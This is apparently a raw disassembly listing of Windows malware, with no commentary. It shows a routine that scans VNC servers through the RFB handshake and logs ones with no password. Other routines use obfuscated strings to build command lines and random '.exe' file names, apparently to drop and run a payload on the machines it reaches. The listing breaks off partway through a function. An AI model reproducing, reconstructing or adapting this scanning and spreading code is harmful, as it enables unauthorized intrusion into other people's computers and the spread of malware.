sub_401AF0 push eax push offset dword_4569A8 push offset dword_4567A8 push offset aVgh9x1uWay0 ; "VgH9X1u/wAY0" push esi call sub_401AF0 push eax push dword_4567A0 push offset dword_4565A0 push offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0" push offset a_9fty1n2tM_ ; ".9ftY1N2T/m." push offset a7zfry0iusme1 ; "7Zfry0IUSmE1" push offset aSSSSDSSSSSSS_0 ; "%s %s %s %s %d >> %s %s %s %s %s >> %s "... push 100h push ebx call sub_429BBE add esp, 74h loc_40879F: ; CODE XREF: .text:0040870Ej and dword ptr [esp+18h], 0 push ebx call sub_4293A0 test eax, eax pop ecx jbe short loc_4087F4 loc_4087AF: ; CODE XREF: .text:004087F2j mov eax, [esp+18h] movsx eax, byte_4556C8[eax] push eax push offset dword_43EE88 lea eax, [esp+48h] push 3 push eax call sub_429BBE lea eax, [esp+50h] push 0 push eax push dword ptr [esp+28h] call sub_408029 add esp, 1Ch push 0Fh call edi ; dword_437190 inc dword ptr [esp+18h] push ebx call sub_4293A0 cmp [esp+1Ch], eax pop ecx jb short loc_4087AF loc_4087F4: ; CODE XREF: .text:004087ADj push ebp call edi ; dword_437190 lea eax, [esp+38h] push 0 push eax push dword ptr [esp+18h] call sub_408029 add esp, 0Ch push 7530h call edi ; dword_437190 lea eax, [esp+1Ch] push 1 push eax push dword ptr [esp+18h] call sub_408029 add esp, 0Ch push ebp call edi ; dword_437190 lea eax, [esp+26h] push 0 push eax push dword ptr [esp+18h] call sub_408029 add esp, 0Ch push ebp call edi ; dword_437190 lea eax, [esp+1Ch] push 2 push eax push dword ptr [esp+18h] call sub_408029 add esp, 0Ch push ebp call edi ; dword_437190 mov eax, [esp+2AB4h] mov dword_4556C0, 1 shl eax, 6 lea eax, dword_43A380[eax] inc dword ptr [eax] jmp loc_408268 ; --------------------------------------------------------------------------- loc_408874: ; CODE XREF: .text:004082AAj lea eax, [esp+7Ch] push eax lea eax, [esp+0B0h] push eax call dword_437178 ; lstrcmpiA test eax, eax jnz loc_4082D5 push eax lea eax, [esp+80h] push eax call sub_4293A0 pop ecx push eax lea eax, [esp+84h] push eax push dword ptr [esp+20h] call dword_456F8C ; send mov dword ptr [esp+30h], 1 loc_4088B9: ; CODE XREF: .text:004082B4j cmp dword ptr [esp+30h], 3 jnz loc_408268 loc_4088C4: ; CODE XREF: .text:00408294j ; .text:0040829Dj ... push 0 lea eax, [esp+42h] push 1 push eax push dword ptr [esp+20h] call dword_456F8C ; send lea eax, [esp+20h] push 1 push eax push dword ptr [esp+1Ch] call sub_408029 add esp, 0Ch push ebp call edi ; dword_437190 lea eax, [esp+28h] push 0 push eax push dword ptr [esp+1Ch] call sub_408029 add esp, 0Ch push ebp call edi ; dword_437190 lea eax, [esp+20h] push 2 push eax push dword ptr [esp+1Ch] call sub_408029 add esp, 0Ch push ebp call edi ; dword_437190 call sub_429B9C push 9 cdq pop ecx idiv ecx push edx call sub_429B9C push 9 cdq pop ecx idiv ecx push edx call sub_429B9C push 9 cdq pop ecx idiv ecx push edx call sub_429B9C push 9 cdq pop ecx idiv ecx lea eax, [esp+0F8h] push edx push offset dword_4439B4 push offset dword_43EE78 push eax call sub_429B03 push 100h push 0 push ebx call sub_429760 add esp, 28h cmp dword_456DA8, 0 jnz loc_408A3C lea eax, [esp+2A08h] push eax call sub_41E4C1 test eax, eax pop ecx mov dword ptr [esp+2Ch], offset dword_457CF8 jnz short loc_40899F mov dword ptr [esp+2Ch], offset dword_457C40 loc_40899F: ; CODE XREF: .text:00408995j lea eax, [esp+0ECh] push offset a2Afm0dt3o6_ ; "2/Afm0dt3o6." push eax push offset aAqq27_7qqv10 ; "AQQ27.7qQv10" call sub_401AF0 push eax push offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0" call sub_401AF0 push eax push offset aLvk_hHddio0 ; "Lvk.H/hddio0" push esi call sub_401AF0 push eax lea eax, [esp+110h] push eax push offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C." push esi call sub_401AF0 push eax call sub_401A77 push eax call sub_401A77 push eax push offset aVgh9x1uWay0 ; "VgH9X1u/wAY0" push esi call sub_401AF0 push eax push dword_454A30 push dword ptr [esp+78h] push offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0" push offset a_9fty1n2tM_ ; ".9ftY1N2T/m." push offset a7zfry0iusme1 ; "7Zfry0IUSmE1" push offset aSSSSDSSSSSSSSS ; "%s %s %s %s %d >> %s %s %s %s %s >> %s "... push 100h push ebx call sub_429BBE add esp, 68h jmp loc_408AC8 ; --------------------------------------------------------------------------- loc_408A2B: ; CODE XREF: .text:004083A2j ; .text:004083D0j ... push dword ptr [esp+10h] call dword_4372D8 ; closesocket loc_408A35: ; CODE XREF: .text:0040832Aj ; .text:00408387j ... xor eax, eax jmp loc_408B8E ; --------------------------------------------------------------------------- loc_408A3C: ; CODE XREF: .text:00408977j push offset a2Afm0dt3o6_ ; "2/Afm0dt3o6." push offset dword_456BA8 push offset aAqq27_7qqv10 ; "AQQ27.7qQv10" call sub_401AF0 push eax push offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0" call sub_401AF0 push eax push offset aLvk_hHddio0 ; "Lvk.H/hddio0" push esi call sub_401AF0 push eax push offset dword_456BA8 push offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C." push esi call sub_401AF0 push eax push offset aEih0f1gakfp0 ; "EiH0f1GakFP0" push esi call sub_401AF0 push eax push offset dword_4569A8 push offset dword_4567A8 push offset aVgh9x1uWay0 ; "VgH9X1u/wAY0" push esi call sub_401AF0 push eax push dword_4567A0 push offset dword_4565A0 push offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0" push offset a_9fty1n2tM_ ; ".9ftY1N2T/m." push offset a7zfry0iusme1 ; "7Zfry0IUSmE1" push offset aSSSSDSSSSSSS_0 ; "%s %s %s %s %d >> %s %s %s %s %s >> %s "... push 100h push ebx call sub_429BBE add esp, 74h loc_408AC8: ; CODE XREF: .text:00408A26j push ebx xor esi, esi call sub_4293A0 test eax, eax pop ecx jbe short loc_408B11 loc_408AD5: ; CODE XREF: .text:00408B0Fj movsx eax, byte_4556C8[esi] push eax push offset dword_43EE88 lea eax, [esp+48h] push 3 push eax call sub_429BBE lea eax, [esp+50h] push 0 push eax push dword ptr [esp+2Ch] call sub_408029 add esp, 1Ch push 0Ah call edi ; dword_437190 push ebx inc esi call sub_4293A0 cmp esi, eax pop ecx jb short loc_408AD5 loc_408B11: ; CODE XREF: .text:00408AD3j push ebp call edi ; dword_437190 mov ebx, [esp+14h] lea eax, [esp+38h] push 0 push eax push ebx call sub_408029 add esp, 0Ch push 7530h call edi ; dword_437190 xor esi, esi lea eax, [esp+1Ch] inc esi push esi push eax push ebx call sub_408029 add esp, 0Ch push ebp call edi ; dword_437190 lea eax, [esp+26h] push 0 push eax push ebx call sub_408029 add esp, 0Ch push ebp call edi ; dword_437190 lea eax, [esp+1Ch] push 2 push eax push ebx call sub_408029 add esp, 0Ch push ebp call edi ; dword_437190 mov eax, [esp+2AB4h] mov dword_4556C0, esi shl eax, 6 lea eax, dword_43A380[eax] inc dword ptr [eax] loc_408B82: ; CODE XREF: .text:0040824Dj ; .text:004082D7j push dword ptr [esp+14h] call dword_456FF0 ; closesocket mov eax, esi loc_408B8E: ; CODE XREF: .text:00408A37j pop edi pop esi pop ebp pop ebx add esp, 29ECh retn ; =============== S U B R O U T I N E ======================================= sub_408B99 proc near ; CODE XREF: .text:00409680p var_74 = byte ptr -74h var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_10 = dword ptr -10h arg_4 = byte ptr 8 arg_8 = byte ptr 0Ch arg_C = word ptr 10h arg_E = word ptr 12h arg_10 = dword ptr 14h arg_18 = dword ptr 1Ch arg_1C = dword ptr 20h arg_20 = byte ptr 24h arg_24 = dword ptr 28h arg_28 = dword ptr 2Ch arg_2C = byte ptr 30h arg_38 = byte ptr 3Ch arg_48 = byte ptr 4Ch arg_50 = byte ptr 54h arg_56 = word ptr 5Ah arg_58 = word ptr 5Ch arg_5C = dword ptr 60h arg_12C = byte ptr 130h arg_15C = byte ptr 160h arg_283C = byte ptr 2840h arg_2840 = dword ptr 2844h arg_2844 = dword ptr 2848h arg_2848 = byte ptr 284Ch arg_286C = byte ptr 2870h arg_2870 = dword ptr 2874h arg_2874 = dword ptr 2878h arg_2878 = byte ptr 287Ch arg_2898 = byte ptr 289Ch arg_28D0 = dword ptr 28D4h arg_2900 = dword ptr 2904h arg_2904 = dword ptr 2908h arg_290C = dword ptr 2910h arg_2914 = dword ptr 2918h arg_2934 = dword ptr 2938h arg_2938 = dword ptr 293Ch mov eax, 289Ch call sub_429B60 push ebx push ebp push esi push edi mov esi, offset dword_43EF80 lea edi, [esp+10h+arg_8] movsw movsb mov esi, offset dword_43EF7C lea edi, [esp+10h+arg_1C] movsw mov ax, word_43EF70 xor ebx, ebx movsb mov esi, offset loc_43EF78 lea edi, [esp+10h+arg_4] movsw mov [esp+10h+arg_E], ax mov ax, word_43EF74 push ebx push 1 push 2 mov dword_4556C0, ebx movsb mov [esp+1Ch+arg_C], ax call dword_456FD0 ; socket cmp eax, 0FFFFFFFFh jz loc_409228 lea eax, [esp+1Ch+arg_2898] push eax call dword_456F7C ; inet_addr push [esp+20h+arg_2938] mov [esp+24h+arg_5C], eax mov [esp+24h+arg_58], 2 call dword_456F38 ; ntohs push 6 push 1 push 2 mov [esp+30h+arg_56], ax call dword_4372BC ; socket mov edi, eax lea eax, [esp+30h+arg_48] push 10h push eax push edi mov [esp+3Ch+var_20], edi call dword_456EBC ; connect test eax, eax jnz loc_409228 lea eax, [esp+3Ch+arg_2C] push 0Ch push eax push edi call sub_407FAF add esp, 0Ch test eax, eax jnz short loc_408C74 loc_408C6D: ; CODE XREF: sub_408B99+104j ; sub_408B99+10Cj ... xor esi, esi jmp loc_408D32 ; --------------------------------------------------------------------------- loc_408C74: ; CODE XREF: sub_408B99+D2j lea eax, [esp+3Ch+var_10] and [esp+3Ch+arg_38], 0 push eax lea eax, [esp+40h+var_18] push eax mov esi, offset aRfb03d_03d ; "RFB %03d.%03d\n" lea eax, [esp+44h+arg_2C] push esi push eax call sub_429E0E add esp, 10h push 3 pop eax cmp [esp+3Ch+var_18], eax jl short loc_408C6D jnz short loc_408CA7 cmp [esp+3Ch+var_10], eax jl short loc_408C6D loc_408CA7: ; CODE XREF: sub_408B99+106j push 5 push eax lea eax, [esp+44h+arg_2C] push esi push eax call sub_429B03 lea eax, [esp+4Ch+arg_2C] push 0Ch push eax push edi call sub_407FE8 add esp, 1Ch test eax, eax jz short loc_408C6D lea eax, [esp+3Ch+arg_28] push 4 push eax push edi call sub_407FAF add esp, 0Ch test eax, eax jz short loc_408C6D mov ecx, [esp+3Ch+arg_28] mov eax, ecx mov edx, ecx and eax, 0FF0000h shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, 0FF00h or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [esp+3Ch+arg_28], eax sub eax, ebx jz loc_409228 mov edi, dword_437190 dec eax mov ebp, 3E8h mov ebx, offset byte_4556C8 mov esi, offset aVxppy0owq7d ; "VxPpy0owQ7D/" jz short loc_408D43 dec eax jz loc_40914D xor esi, esi inc esi loc_408D32: ; CODE XREF: sub_408B99+D6j push [esp+3Ch+var_2C] call dword_4372D8 ; closesocket mov eax, esi jmp loc_40922A ; --------------------------------------------------------------------------- loc_408D43: ; CODE XREF: sub_408B99+18Dj push 1 push offset word_454038 push [esp+44h+var_2C] call sub_407FE8 add esp, 0Ch test eax, eax jz loc_40914D lea eax, [esp+3Ch+arg_10] push 18h push eax push [esp+44h+var_2C] call sub_407FAF add esp, 0Ch test eax, eax jz loc_40914D mov eax, [esp+3Ch+arg_10] xor edx, edx mov dl, byte ptr [esp+3Ch+arg_10+1] mov ecx, 0FFh shl eax, 8 xor dl, al and dx, cx xor edx, eax mov eax, [esp+3Ch+arg_10+2] mov word ptr [esp+3Ch+arg_10], dx xor edx, edx mov dl, byte ptr [esp+3Ch+arg_10+3] shl eax, 8 xor dl, al and dx, cx xor edx, eax mov eax, [esp+3Ch+arg_18] mov word ptr [esp+3Ch+arg_10+2], dx xor edx, edx mov dl, byte ptr [esp+3Ch+arg_18+1] shl eax, 8 xor dl, al and dx, cx xor edx, eax mov eax, [esp+3Ch+arg_18+2] mov word ptr [esp+3Ch+arg_18], dx xor edx, edx mov dl, byte ptr [esp+3Ch+arg_18+3] shl eax, 8 xor dl, al and dx, cx xor edx, eax mov eax, [esp+3Ch+arg_1C] mov word ptr [esp+3Ch+arg_18+2], dx xor edx, edx mov dl, byte ptr [esp+3Ch+arg_1C+1] shl eax, 8 xor dl, al and dx, cx xor edx, eax mov eax, [esp+3Ch+arg_24] mov word ptr [esp+3Ch+arg_1C], dx mov ecx, eax mov edx, eax and ecx, 0FF0000h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, 0FF00h or edx, eax lea eax, [esp+3Ch+arg_2878] push eax lea eax, [esp+40h+arg_15C] push [esp+40h+var_10] shr ecx, 8 push [esp+44h+var_18] shl edx, 8 push offset aVncD_DSNopass ; "VNC%d.%d: %s - (NoPass)" or ecx, edx push 2710h push eax mov [esp+54h+arg_24], ecx call sub_429BBE add esp, 18h cmp [esp+3Ch+arg_2934], 0 jz short loc_408E7D lea eax, [esp+3Ch+arg_15C] push eax push offset aS_5 ; "%s" push [esp+44h+arg_2870] push [esp+48h+arg_2874] call sub_41CE4A add esp, 10h loc_408E7D: ; CODE XREF: sub_408B99+2BFj push 2710h lea eax, [esp+40h+arg_15C] push 0 push eax call sub_429760 lea eax, [esp+48h+var_20] push 1 push eax push [esp+50h+var_2C] call sub_408029 add esp, 18h push ebp call edi ; dword_437190 lea eax, [esp+40h+var_20+2] push 0 push eax push [esp+48h+var_30] call sub_408029 add esp, 0Ch push ebp call edi ; dword_437190 lea eax, [esp+44h+var_28] push 2 push eax push [esp+4Ch+var_34] call sub_408029 add esp, 0Ch push ebp call edi ; dword_437190 call sub_429B9C push 9 cdq pop ecx idiv ecx push edx call sub_429B9C push 9 cdq pop ecx idiv ecx push edx call sub_429B9C push 9 cdq pop ecx idiv ecx push edx call sub_429B9C push 9 cdq pop ecx idiv ecx push edx call sub_429B9C push 9 cdq pop ecx idiv ecx lea eax, [esp+58h+arg_50] push edx push offset dword_4439B4 push offset aSDDDDD_exe ; "%s%d%d%d%d%d.exe" push eax call sub_429B03 push 100h push 0 push ebx call sub_429760 add esp, 2Ch cmp dword_456DA8, 0 jnz loc_408FF1 lea eax, [esp+48h+arg_286C] push eax call sub_41E4C1 test eax, eax pop ecx mov [esp+48h+var_34], offset dword_457CF8 jnz short loc_408F65 mov [esp+48h+var_34], offset dword_457C40 loc_408F65: ; CODE XREF: sub_408B99+3C2j lea eax, [esp+48h+arg_50] push offset a2Afm0dt3o6_ ; "2/Afm0dt3o6." push eax push offset aAqq27_7qqv10 ; "AQQ27.7qQv10" call sub_401AF0 push eax push offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0" call sub_401AF0 push eax push offset aLvk_hHddio0 ; "Lvk.H/hddio0" push esi call sub_401AF0 push eax lea eax, [esp+6Ch+arg_50] push eax push offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C." push esi call sub_401AF0 push eax call sub_401A77 push eax call sub_401A77 push eax push offset aVgh9x1uWay0 ; "VgH9X1u/wAY0" push esi call sub_401AF0 push eax push dword_454A30 push [esp+94h+var_34] push offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0" push offset a_9fty1n2tM_ ; ".9ftY1N2T/m." push offset a7zfry0iusme1 ; "7Zfry0IUSmE1" push offset aSSSSDSSSSSSSSS ; "%s %s %s %s %d >> %s %s %s %s %s >> %s "... push 100h push ebx call sub_429BBE add esp, 68h jmp loc_40907D ; --------------------------------------------------------------------------- loc_408FF1: ; CODE XREF: sub_408B99+3A4j push offset a2Afm0dt3o6_ ; "2/Afm0dt3o6." push offset dword_456BA8 push offset aAqq27_7qqv10 ; "AQQ27.7qQv10" call sub_401AF0 push eax push offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0" call sub_401AF0 push eax push offset aLvk_hHddio0 ; "Lvk.H/hddio0" push esi call sub_401AF0 push eax push offset dword_456BA8 push offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C." push esi call sub_401AF0 push eax push offset aEih0f1gakfp0 ; "EiH0f1GakFP0" push esi call sub_401AF0 push eax push offset dword_4569A8 push offset dword_4567A8 push offset aVgh9x1uWay0 ; "VgH9X1u/wAY0" push esi call sub_401AF0 push eax push dword_4567A0 push offset dword_4565A0 push offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0" push offset a_9fty1n2tM_ ; ".9ftY1N2T/m." push offset a7zfry0iusme1 ; "7Zfry0IUSmE1" push offset aSSSSDSSSSSSS_0 ; "%s %s %s %s %d >> %s %s %s %s %s >> %s "... push 100h push ebx call sub_429BBE add esp, 74h loc_40907D: ; CODE XREF: sub_408B99+453j and [esp+48h+var_34], 0 push ebx call sub_4293A0 test eax, eax pop ecx jbe short loc_4090D2 loc_40908D: ; CODE XREF: sub_408B99+537j mov eax, [esp+48h+var_34] movsx eax, byte_4556C8[eax] push eax push offset dword_43EE88 lea eax, [esp+50h+var_20] push 3 push eax call sub_429BBE lea eax, [esp+58h+var_20] push 0 push eax push [esp+60h+var_38] call sub_408029 add esp, 1Ch push 0Fh call edi ; dword_437190 inc [esp+4Ch+var_38] push ebx call sub_4293A0 cmp [esp+50h+var_38], eax pop ecx jb short loc_40908D loc_4090D2: ; CODE XREF: sub_408B99+4F2j push ebp call edi ; dword_437190 lea eax, [esp+50h+var_20] push 0 push eax push [esp+58h+var_40] call sub_408029 add esp, 0Ch push 7530h call edi ; dword_437190 lea eax, [esp+54h+var_3C] push 1 push eax push [esp+5Ch+var_44] call sub_408029 add esp, 0Ch push ebp call edi ; dword_437190 lea eax, [esp+58h+var_38] push 0 push eax push [esp+60h+var_48] call sub_408029 add esp, 0Ch push ebp call edi ; dword_437190 lea eax, [esp+5Ch+var_44] push 2 push eax push [esp+64h+var_4C] call sub_408029 add esp, 0Ch push ebp call edi ; dword_437190 mov eax, [esp+60h+arg_2900] mov dword_4556C0, 1 shl eax, 6 lea eax, dword_43A380[eax] inc dword ptr [eax] loc_40914D: ; CODE XREF: sub_408B99+190j ; sub_408B99+1BFj ... lea eax, [esp+60h+arg_28] push 10h push eax push [esp+68h+var_50] call sub_407FAF add esp, 0Ch test eax, eax jnz short loc_409171 push [esp+60h+var_50] call dword_4372D8 ; closesocket loc_409171: ; CODE XREF: sub_408B99+5CCj push [esp+64h+arg_2914] call sub_4293A0 cmp eax, 8 pop ecx jbe short loc_40918E mov eax, [esp+64h+arg_2914] and byte ptr [eax+8], 0 loc_40918E: ; CODE XREF: sub_408B99+5E8j push [esp+64h+arg_2914] lea eax, [esp+68h+arg_24] push eax call sub_407F55 lea eax, [esp+6Ch+arg_24] push 10h push eax push [esp+74h+var_54] call sub_407FE8 add esp, 14h test eax, eax jnz short loc_4091C6 push [esp+64h+var_54] call dword_4372D8 ; closesocket loc_4091C6: ; CODE XREF: sub_408B99+621j lea eax, [esp+68h+var_34] push 4 push eax push [esp+70h+var_58] call sub_407FAF add esp, 0Ch test eax, eax jnz short loc_4091E7 push [esp+68h+var_58] call dword_4372D8 ; closesocket loc_4091E7: ; CODE XREF: sub_408B99+642j mov ecx, [esp+6Ch+var_38] mov eax, ecx mov edx, ecx and eax, 0FF0000h shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, 0FF00h or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [esp+6Ch+var_38], eax sub eax, 0 jz short loc_409235 dec eax jz short loc_409228 dec eax jnz loc_408C6D push 3E80h call edi ; dword_437190 loc_409228: ; CODE XREF: sub_408B99+5Ej ; sub_408B99+BAj ... xor eax, eax loc_40922A: ; CODE XREF: sub_408B99+1A5j ; sub_408B99+AA7j pop edi pop esi pop ebp pop ebx add esp, 289Ch retn ; --------------------------------------------------------------------------- loc_409235: ; CODE XREF: sub_408B99+67Cj push 1 push offset word_454038 push [esp+74h+var_5C] call sub_407FE8 add esp, 0Ch test eax, eax jz loc_409632 lea eax, [esp+6Ch+var_34] push 18h push eax push [esp+74h+var_5C] call sub_407FAF add esp, 0Ch test eax, eax jz loc_409632 mov eax, [esp+6Ch+var_34] xor edx, edx mov dl, byte ptr [esp+6Ch+var_34+1] mov ecx, 0FFh shl eax, 8 xor dl, al push [esp+6Ch+arg_290C] and dx, cx xor edx, eax mov eax, [esp+70h+var_34+2] mov word ptr [esp+70h+var_34], dx xor edx, edx mov dl, byte ptr [esp+70h+var_34+3] shl eax, 8 xor dl, al and dx, cx xor edx, eax mov eax, [esp+70h+var_2C] mov word ptr [esp+70h+var_34+2], dx xor edx, edx mov dl, byte ptr [esp+70h+var_2C+1] shl eax, 8 xor dl, al and dx, cx xor edx, eax mov eax, [esp+70h+var_2C+2] mov word ptr [esp+70h+var_2C], dx xor edx, edx mov dl, byte ptr [esp+70h+var_2C+3] shl eax, 8 xor dl, al and dx, cx xor edx, eax mov eax, [esp+70h+var_28] mov word ptr [esp+70h+var_2C+2], dx xor edx, edx mov dl, byte ptr [esp+70h+var_28+1] shl eax, 8 xor dl, al and dx, cx xor edx, eax mov eax, [esp+70h+var_20] mov word ptr [esp+70h+var_28], dx mov ecx, eax mov edx, eax and ecx, 0FF0000h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, 0FF00h or edx, eax lea eax, [esp+70h+arg_2848] push eax lea eax, [esp+74h+arg_12C] push [esp+74h+var_40] shr ecx, 8 push [esp+78h+var_48] shl edx, 8 push offset aVncD_DSS ; "VNC%d.%d: %s - %s" or ecx, edx push 2710h push eax mov [esp+88h+var_20], ecx call sub_429BBE add esp, 1Ch cmp [esp+6Ch+arg_2904], 0 jz short loc_409376 lea eax, [esp+6Ch+arg_12C] push eax push offset aS_5 ; "%s" push [esp+74h+arg_2840] push [esp+78h+arg_2844] call sub_41CE4A add esp, 10h loc_409376: ; CODE XREF: sub_408B99+7B8j push 2710h lea eax, [esp+70h+arg_12C] push 0 push eax call sub_429760 lea eax, [esp+78h+var_50] push 1 push eax push [esp+80h+var_5C] call sub_408029 add esp, 18h push ebp call edi ; dword_437190 lea eax, [esp+70h+var_50+2] push 0 push eax push [esp+78h+var_60] call sub_408029 add esp, 0Ch push ebp call edi ; dword_437190 lea eax, [esp+74h+var_58] push 2 push eax push [esp+7Ch+var_64] call sub_408029 add esp, 0Ch push ebp call edi ; dword_437190 call sub_429B9C push 9 cdq pop ecx idiv ecx push edx call sub_429B9C push 9 cdq pop ecx idiv ecx push edx call sub_429B9C push 9 cdq pop ecx idiv ecx push edx call sub_429B9C push 9 cdq pop ecx idiv ecx push edx call sub_429B9C push 9 cdq pop ecx idiv ecx lea eax, [esp+88h+arg_20] push edx push offset dword_4439B4 push offset aSDDDDD_exe ; "%s%d%d%d%d%d.exe" push eax call sub_429B03 push 100h push 0 push ebx call sub_429760 add esp, 2Ch cmp dword_456DA8, 0 jnz loc_4094EA lea eax, [esp+78h+arg_283C] push eax call sub_41E4C1 test eax, eax pop ecx mov [esp+78h+var_64], offset dword_457CF8 jnz short loc_40945E mov [esp+78h+var_64], offset dword_457C40 loc_40945E: ; CODE XREF: sub_408B99+8BBj lea eax, [esp+78h+arg_20] push offset a2Afm0dt3o6_ ; "2/Afm0dt3o6." push eax push offset aAqq27_7qqv10 ; "AQQ27.7qQv10" call sub_401AF0 push eax push offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0" call sub_401AF0 push eax push offset aLvk_hHddio0 ; "Lvk.H/hddio0" push esi call sub_401AF0 push eax lea eax, [esp+9Ch+arg_20] push eax push offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C." push esi call sub_401AF0 push eax call sub_401A77 push eax call sub_401A77 push eax push offset aVgh9x1uWay0 ; "VgH9X1u/wAY0" push esi call sub_401AF0 push eax push dword_454A30 push [esp+0C4h+var_64] push offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0" push offset a_9fty1n2tM_ ; ".9ftY1N2T/m." push offset a7zfry0iusme1 ; "7Zfry0IUSmE1" push offset aSSSSDSSSSSSSSS ; "%s %s %s %s %d >> %s %s %s %s %s >> %s "... push 100h push ebx call sub_429BBE add esp, 68h jmp loc_409576 ; --------------------------------------------------------------------------- loc_4094EA: ; CODE XREF: sub_408B99+89Dj push offset a2Afm0dt3o6_ ; "2/Afm0dt3o6." push offset dword_456BA8 push offset aAqq27_7qqv10 ; "AQQ27.7qQv10" call sub_401AF0 push eax push offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0" call sub_401AF0 push eax push offset aLvk_hHddio0 ; "Lvk.H/hddio0" push esi call sub_401AF0 push eax push offset dword_456BA8 push offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C." push esi call sub_401AF0 push eax push offset aEih0f1gakfp0 ; "EiH0f1GakFP0" push esi call sub_401AF0 push eax push offset dword_4569A8 push offset dword_4567A8 push offset aVgh9x1uWay0 ; "VgH9X1u/wAY0" push esi call sub_401AF0 push eax push dword_4567A0 push offset dword_4565A0 push offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0" push offset a_9fty1n2tM_ ; ".9ftY1N2T/m." push offset a7zfry0iusme1 ; "7Zfry0IUSmE1" push offset aSSSSDSSSSSSS_0 ; "%s %s %s %s %d >> %s %s %s %s %s >> %s "... push 100h push ebx call sub_429BBE add esp, 74h loc_409576: ; CODE XREF: sub_408B99+94Cj push ebx xor esi, esi call sub_4293A0 test eax, eax pop ecx jbe short loc_4095BF loc_409583: ; CODE XREF: sub_408B99+A24j movsx eax, byte_4556C8[esi] push eax push offset dword_43EE88 lea eax, [esp+80h+var_50] push 3 push eax call sub_429BBE lea eax, [esp+88h+var_50] push 0 push eax push [esp+90h+var_68] call sub_408029 add esp, 1Ch push 0Fh call edi ; dword_437190 push ebx inc esi call sub_4293A0 cmp esi, eax pop ecx jb short loc_409583 loc_4095BF: ; CODE XREF: sub_408B99+9E8j push ebp call edi ; dword_437190 mov esi, [esp+80h+var_70] lea eax, [esp+80h+var_50] push 0 push eax push esi call sub_408029 add esp, 0Ch push 7530h call edi ; dword_437190 xor ebx, ebx lea eax, [esp+84h+var_6C] inc ebx push ebx push eax push esi call sub_408029 add esp, 0Ch push ebp call edi ; dword_437190 lea eax, [esp+88h+var_68] push 0 push eax push esi call sub_408029 add esp, 0Ch push ebp call edi ; dword_437190 lea eax, [esp+8Ch+var_74] push 2 push eax push esi call sub_408029 add esp, 0Ch push ebp call edi ; dword_437190 mov eax, [esp+90h+arg_28D0] mov dword_4556C0, ebx shl eax, 6 lea eax, dword_43A380[eax] inc dword ptr [eax] jmp short loc_409636 ; --------------------------------------------------------------------------- loc_409632: ; CODE XREF: sub_408B99+6B1j ; sub_408B99+6CCj mov esi, [esp+6Ch+var_5C] loc_409636: ; CODE XREF: sub_408B99+A97j push esi call dword_4372D8 ; closesocket xor eax, eax inc eax jmp loc_40922A sub_408B99 endp ; sp-analysis failed ; --------------------------------------------------------------------------- cmp off_43EDE8, 0 push ebx push esi push edi jz short loc_4096A2 mov ebx, offset off_43EDE8 loc_409656: ; CODE XREF: .text:004096A0j cmp dword_4556C0, 0 jnz short loc_4096A2 push dword ptr [ebx] lea esi, [esp+1Ch] sub esp, 0C4h push 31h pop ecx mov edi, esp push dword ptr [esp+0DCh] rep movsd push dword ptr [esp+0DCh] call sub_408B99 add esp, 0D0h test eax, eax jnz short loc_40969A push 3E80h call dword_437190 ; Sleep loc_40969A: ; CODE XREF: .text:0040968Dj add ebx, 4 cmp dword ptr [ebx], 0 jnz short loc_409656 loc_4096A2: ; CODE XREF: .text:0040964Fj ; .text:0040965Dj xor eax, eax pop edi pop esi inc eax pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_4096A9 proc near ; CODE XREF: sub_4097B9+EEp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch xor edx, edx cmp [esp+arg_4], edx jbe short locret_4096D9 push esi mov esi, [esp+4+arg_8] loc_4096B6: ; CODE XREF: sub_4096A9+2Dj mov eax, [esp+4+arg_0] mov cl, [edx+eax] mov al, cl and cl, 0Fh shr al, 4 add cl, 41h add al, 41h mov [esi+edx*2], cl mov [esi+edx*2+1], al inc edx cmp edx, [esp+4+arg_4] jb short loc_4096B6 pop esi locret_4096D9: ; CODE XREF: sub_4096A9+6j retn sub_4096A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4096DA proc near ; CODE XREF: sub_4096DA+CDp ; sub_4097B9+493p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push 